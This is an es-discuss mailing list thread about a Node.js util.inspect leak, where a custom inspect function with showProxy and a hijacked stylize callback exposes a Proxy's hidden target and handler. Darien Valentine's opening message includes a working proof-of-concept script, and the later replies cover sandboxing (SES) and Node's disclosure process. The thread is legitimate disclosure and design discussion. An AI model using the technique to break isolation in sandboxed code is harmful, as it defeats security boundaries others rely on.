Proxy target/handler access leak in Node

James M Snell jasnell at gmail.com
Mon Sep 17 09:45:15 UTC 2018


Some background as I am the one who added the showProxy feature into
Node.js...

util.inspect() is considered by Node.js to be a diagnostics API. The intent
is to allow adequate debugging in a variety of scenarios. This was added to
address a user issue where inspection of a Proxy object (that the user
didn't know was a proxy object) would cause an infinite loop when invoking
a certain getter that just happened to have a console.log statement (in
Node.js, console.log uses util.inspect in some cases. There are cases where
one does need to know when an object is a Proxy.

That said, the specific issue in this thread is a bit different. When
implementing showProxy, I took the additional step of introspecting the
component elements of the proxy because the goal of util.inspect is to
provide as much insight as possible about the object being inspected. The
ability to provide a custome stylize function for inspect is a long
standing feature of Node.js long before showProxy was introduced.

One thing I would not classify this as is an attack, exploit, or
vulnerability. The Node.js trust model assumes that all code is trusted. I
can, however, bring this issue to the Node.js project and see how folks
would feel about not exposing the internal objects when a Proxy is
detected. That would reduce the diagnostic utility of util.inspect with
Proxy objects, which is unfortunate, but it would resolve the issue here.
Removing this would likely require a proper deprecation of the existing
functionality which is a semver-major change.

The final thing I would say is: Node.js has a responsible disclosure
process for potential security vulnerability reports. If one feels that
some behavior implemented by node.js presents a vulnerability or attack
vector, I would encourage them to please use our HackerOne site (
https://hackerone.com/nodejs) to report the issue before discussing in a
public forum so that the potential risks can be evaluated before public
disclosure.



On Mon, Sep 17, 2018, 02:19 Darien Valentine <valentinium at gmail.com> wrote:

> > What is going on here? Can you explain?
>
> A C++/V8 API is used to obtain references to the target and handler from
> only the proxy object, even though those objects aren’t supposed to be
> available to this ES scope:
>
> https://github.com/nodejs/node/blob/master/lib/util.js#L642-L647
>
> The pair of objects is passed to another function, which in turn may pass
> values to the method "ctx.stylize", but that property may have been
> previously overwritten from user code:
>
> https://github.com/nodejs/node/blob/master/lib/util.js#L566-L580
>
> AFAICT, fixing the leak (beyond util.js) would be possible by making
> `stylize` unconfigurable/unwritable. However there may be other avenues
> here — I’m not sure.
>
> > Does that mean this attack is impossible from code loaded into a new
> realm as made by the shim or SES?
>
> The exploit isn’t sensitive to realm-of-origin, since util is using v8
> internals to get the references, not e.g. a patched version of Proxy. But
> it still depends on the proxy object in question being exposed to a context
> where util.inspect exists.
>
> In the [issue comment](
> https://github.com/nodejs/node/issues/10731#issuecomment-419008987), I
> wrote this:
>
> > This exploit can be fixed pretty easily. But I think it’s symptomatic.
> My understanding was that V8’s C++ APIs are intended for making external
> functionality available to ECMAScript using ECMAScript values and
> ECMAScript semantics. Here though, it is being used to bypass ECMAScript
> semantics. The behavior seen in the above script isn’t possible in
> ECMAScript — but neither is distinguishing between objects which have been
> implemented as ordinary objects and objects implemented as proxy exotic
> objects.
>
>
> On Sun, Sep 16, 2018 at 8:06 PM Mark Miller <erights at gmail.com> wrote:
>
>> This is indeed quite scary. I have never used of explored the Node `util`
>> API. What is going on here? Can you explain?
>>
>> The Realms shim and SES (which build on the Realms shim) create an
>> environment in which only those globals defined by EcmaScript, not by the
>> host, are present by default.
>> https://github.com/Agoric/SES/tree/master/demo
>> https://rawgit.com/Agoric/SES/master/demo/
>> Does that mean this attack is impossible from code loaded into a new
>> realm as made by the shim or SES?
>>
>>
>>
>> On Sun, Sep 16, 2018 at 12:10 PM Mike Samuel <mikesamuel at gmail.com>
>> wrote:
>>
>>> Nicely done!
>>>
>>> One more reason to prefer WeakMaps to properties when relating objects
>>> and secrets.
>>>
>>>
>>>
>>> On Sun, Sep 16, 2018 at 2:59 PM Darien Valentine <valentinium at gmail.com>
>>> wrote:
>>>
>>>> A few weeks ago I’d commented on an open Node github issue regarding
>>>> Proxies and inspection. While the bulk of the comment concerns an opinion
>>>> that proxies should not be treated as special case, I included an example
>>>> of a mechanism by which the current implementation allows outside code to
>>>> access the target and handler objects of a proxy that it does not own.
>>>>
>>>> On reflection I realized this specific issue might be worth drawing
>>>> more attention to.
>>>>
>>>> ```js
>>>> const util = require('util');
>>>>
>>>> const victim = new Proxy({}, {
>>>>   SECRET: 'Nothing outside can access this'
>>>> });
>>>>
>>>> let secret;
>>>>
>>>> const invariantViolator = {
>>>>   [util.inspect.custom](depth, options) {
>>>>     const { stylize } = options;
>>>>
>>>>     options.showProxy = true;
>>>>
>>>>     options.stylize = (value, color) => {
>>>>       secret = value;
>>>>       options.stylize = stylize;
>>>>       return stylize(value, color);
>>>>     };
>>>>
>>>>     return victim;
>>>>   }
>>>> };
>>>>
>>>> util.inspect(invariantViolator);
>>>>
>>>> console.log(secret); // 'Nothing outside can access this'
>>>> ```
>>>>
>>>> The implication is that even if running Node with no C++ addons, it is
>>>> presently possible for proxies to be violated using just the standard lib,
>>>> which may be significant from a security perspective. I’m not sure if
>>>> that’s the case in practice, but just in case, I figured I should try to
>>>> get eyes on it.
>>>>
>>>> Note that even if this particular hole is patched, the "analog hole"
>>>> (so to speak) of just analyzing the string output remains.
>>>> _______________________________________________
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>>>> https://mail.mozilla.org/listinfo/es-discuss
>>>>
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>>>
>>
>>
>> --
>>   Cheers,
>>   --MarkM
>>
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